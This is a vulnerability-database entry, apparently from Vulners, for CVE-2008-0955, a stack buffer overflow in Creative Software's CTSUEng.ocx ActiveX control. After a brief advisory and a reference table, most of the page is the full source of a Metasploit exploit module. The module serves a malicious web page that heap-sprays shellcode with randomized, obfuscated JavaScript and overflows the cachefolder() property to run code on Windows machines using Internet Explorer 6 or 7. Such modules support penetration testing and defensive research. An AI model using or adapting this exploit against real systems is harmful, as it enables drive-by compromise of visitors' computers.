Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow

🗓️ 17 Jun 2008 15:11:17Reported by MC <[email protected]>Type

Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow. Stack buffer overflow in Creative Software AutoUpdate Engine when sending overly long string to cachefolder() property of CTSUEng.ocx allows arbitrary code execution

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2008-0955	27 May 200800:00	–	circl
Check Point Advisories	Creative Software AutoUpdate Engine CTSUEng.ocx ActiveX Control Buffer Overflow (CVE-2008-0955)	1 Jan 201500:00	–	checkpoint_advisories
Tenable Nessus	Creative Software AutoUpdate Engine ActiveX (CTSUEng.ocx) Unspecified Overflow	28 May 200800:00	–	nessus
CVE	CVE-2008-0955	29 May 200816:00	–	cve
Cvelist	CVE-2008-0955	29 May 200816:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_CREATIVE	29 May 200816:32	–	d2
Exploit DB	Creative Software AutoUpdate Engine - ActiveX Control Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2008-0955	29 May 200816:32	–	nvd
Packet Storm	Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	29 May 200816:32	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When
        sending an overly long string to the cachefolder() property of CTSUEng.ocx
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC', ],
      'References'     =>
        [
          [ 'CVE', '2008-0955' ],
          [ 'OSVDB', '45655' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => '2008-05-28',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Randomize the javascript variable names
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c"*4)

    content = %Q|
      <html>
        <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
        <script language="JavaScript">
        var #{rand1} = unescape('#{shellcode}');
        var #{randnop} = "#{js_nops}";
        var #{rand2} = unescape(#{randnop});
        var #{rand3} = 20;
        var #{rand4} = #{rand3} + #{rand1}.length;
        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
        var #{rand5} = #{rand2}.substring(0,#{rand4});
        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
        var #{rand7} = new Array();
        for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
        var #{rand8} = ""
        for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }
        #{vname}.cachefolder(#{rand8});
        </script>
      </html>
      |

    # Randomize the whitespace in the document
    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 29.3

EPSS0.41231